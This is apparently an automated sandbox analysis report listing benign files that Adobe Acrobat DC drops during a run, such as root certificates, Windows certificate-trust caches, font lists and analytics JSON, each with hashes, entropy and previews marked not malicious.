SHA-512:	3CA72E26112D44653355916C5C4062308C94C71A29F39E02AFE63300AA5B20B6A0280AD96B6CFC84FBBA50A4BF680EAE57ACECC2A3A4DFAF44F54E6E63C67B99
Malicious:	false
Preview:	.... .c.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkls9aLMlltfllXlE/HT8k8lZNNX8RolJuRdxLlGB9lQRYwpDdt:kK19F/eT8R3NMa8RdWBwRd
MD5:	B428EE56D0C71D9D19947D423A4FDEFA
SHA1:	DD608F02FF0068C9E30040C81A733EF04F6DAA8E
SHA-256:	627E7C683A9A1D90F7027D675938400C21055C7257A3955017B356D8B3992326
SHA-512:	437A70614F6285860F9E606B1945BAF46271FC14B71F6DB3482587D6BDF1613575F80D639070851A734232510ACA7FF1E489D724B86DC3B14F233DA71D96AFE2
Malicious:	false
Preview:	p...... ........_....c..(....................................................... ..........W.....m..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKFL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tiDnLNkPlE99SNxAhUe/3
MD5:	0B3FF1DB2CE6CBCD8A3C74A374106E87
SHA1:	DC1101BE78E321D0EC3171E0F4919EB62002E331
SHA-256:	5DB6EF0B4BED18CAA75CF1DDAD433533BBDC33666EB5A131E6DD5827FE514BAD
SHA-512:	3DCF75D610EB5414BF5508064B1D93C38DB1D947AAEFF58853A4EFEB3CB1758ABDB1F298AE75BBA216FB61E1F6F0CC7F781C418B04B1CAE520C18BA035477F39
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.370680507277254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJM3g98kUwPeUkwRe9:YvXKXET6Dldmn0cYGMbLUkee9
MD5:	4C3C169EF31F1D3713FEF7221424810B
SHA1:	9852FB689C02E1E83BBDA1DD24B7DE7F39D33FCD
SHA-256:	F1F45331FE11C20B2B7F9EA06FF30F0721C0BFF79A0D20E91C2967255EAE9224
SHA-512:	506B7914B9A1B0851621491B9D5B62125EF3CCAD6E3CD2A7D73B793CF6B88FAFD3D35F8AC5306760F9020DCCF0DE124B9FE54F91B4B8AB719E8962AAFA2AF29B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.322914908379618
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfBoTfXpnrPeUkwRe9:YvXKXET6Dldmn0cYGWTfXcUkee9
MD5:	451FCD179F8ACC36978AEF4EA5E934E1
SHA1:	DBB3F48706A01C6B69C783573C663F8914793E2E
SHA-256:	8EDDAACD6FC507D1AEAB55F935EAFFFF2F557B8BFF8353DEDB8E519463DE9231
SHA-512:	B76883D15AA446099267CDAAEF66434C3127C0F67C6D776D8CAA1F069A3D0C31EC0683251660A847E859348778E11129EB8C1F0CC95568D470BFB30108B74BB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302112656348823
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfBD2G6UpnrPeUkwRe9:YvXKXET6Dldmn0cYGR22cUkee9
MD5:	1EB95BFBC77D91B6CD1404CAE9E87263
SHA1:	16ABB0CD8B8BF181805DF0DEB6BC177BCFE0AE89
SHA-256:	0ED014DA58B63AB62FB3BE2AF865B47B5B8A01C03AF155871E5EE0A7DC8C090F
SHA-512:	5E2447A4BAD7D6546896B8E4E8101806983D5525FE52D100201B708F42552FAA1ED6136E779CC6CDC904A52D644E19BF522EAD0615175A07C330083DCB567D1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.350959824027509
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfPmwrPeUkwRe9:YvXKXET6Dldmn0cYGH56Ukee9
MD5:	93978CA798C988CF35995B43A00CC956
SHA1:	A5581587640B635531945CE152F2EABBAC4D1EB2
SHA-256:	011223A9CBFB3EB0CB32238C198440CD08D45BC2AE70F7552D960D4BF0FE5594
SHA-512:	DA50716BDED5A5830EBA6AE59C4BFFFDA1ACCB4E662B72067A542F86B6974AF604455645858455D2AC6713C358057F24B3289196B45DEF3DAD6AC04605F19C3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68873272752379
Encrypted:	false
SSDEEP:	24:Yv6XnpdmnZ1pLgE9cQx8LennAvzBvkn0RCmK8czOCCS6J:YvKdmPhgy6SAFv5Ah8cv/8
MD5:	F5C9E1F724C54D2F8D8A6693E12704F2
SHA1:	356D930FD318F58B3CB38BDE99450061D0F365FD
SHA-256:	C8C8961411C4690EBC96776C8BC8198807B21F0D7D8B68F26B93B840FC5E452C
SHA-512:	9F54FFC462E39F7A45FFD2842383F6384B7173BEA3EA901D7EF11C8ADE56003D44CCE4F194EDECB63C43A4D410814B26E6A6A4769DAD0042F0C2104B0687F6F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30029897604113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJf8dPeUkwRe9:YvXKXET6Dldmn0cYGU8Ukee9
MD5:	6DC0908769CDA6E2A6B29311119DC11E
SHA1:	025518329F570631F58BF3E2F52C900B33BCFE3E
SHA-256:	C0FE87F4A5393368FFE5E377079B9B0A1DCDFB23B0AC98F19B29FCB07A082F96
SHA-512:	D10E3D49EA0EA804527B155D436AB486EB3DC1B73A3EEAC51F2FFD82A994A248CA7FD1771FF2F07B429B015BB29A95EA7F6547F80F62263303DD09555972A7A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303529755303057
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfQ1rPeUkwRe9:YvXKXET6Dldmn0cYGY16Ukee9
MD5:	6E52400AB80E6E74B790A175A057B719
SHA1:	92957AF52A3A8540E2992C71A7A19E9596CE1342
SHA-256:	5DF09ED34BD24E5E9B4245651564D3FA65EAFADD2789F4D2E8BB16A4451BE7A3
SHA-512:	202F411375CDCEDE45C62F83BD30469F750B715DF43EC39D6754A65F27BE1B3369BBA147AF9FCF7AF159F38A60B2C797DE22A7EB86CED2F33582EC2BA27AAF00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308891761229869
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfFldPeUkwRe9:YvXKXET6Dldmn0cYGz8Ukee9
MD5:	0420D8526DECD74D2F844CB64CCE02D0
SHA1:	48CED7934822871897CC048D2B21E1C22D595A57
SHA-256:	4E4EDC6A356173F8AAA4B5BA5DF5723645DDFBCC4B140317E5813084440BB3FF
SHA-512:	D0F3E4C60ADFF60D54C545449B45F9302B08804811E6A474A9D6E14E459125D7A5BA465C38C4C94BE4AFA2F19A9217E883D0A90ABF63C7914A430F60B5E6A18D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.325951091112476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfzdPeUkwRe9:YvXKXET6Dldmn0cYGb8Ukee9
MD5:	9730898656BEFE996C8FB62E875362AF
SHA1:	584BBDA087AE7346379FA4B887114166F2D12C7D
SHA-256:	8FEAF9E58389637C6F67647512282D752129B75DB417B5753800858D9F7A585E
SHA-512:	0B25D6C0CF2F776AFB73F9985B95E6E80622DCFFB4676256FC0CE9067F8B21C0F577DC8AE30C8307F015FC0107C9F6994F6708EA980895E262C8C31A12B16D94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307009075498357
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfYdPeUkwRe9:YvXKXET6Dldmn0cYGg8Ukee9
MD5:	71FA94B726674EAE7BD44797E112DC56
SHA1:	ED92FD968694DBB8BBF39797C12B9C99CBA390FE
SHA-256:	3CF363802FA909B500BB77CB3EC87E79C289D798F47B467D20A03008AD87D4BC
SHA-512:	AFAAE374196A2E0848520C1C48BB276A1042ADF1AAAAB2C53885A6B93BC1E1D0709CFC3D4DABA891CEE46F5C27A09F6C9E8299F3B3BE8373FB94C6CE840E4C23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29318284753775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJf+dPeUkwRe9:YvXKXET6Dldmn0cYG28Ukee9
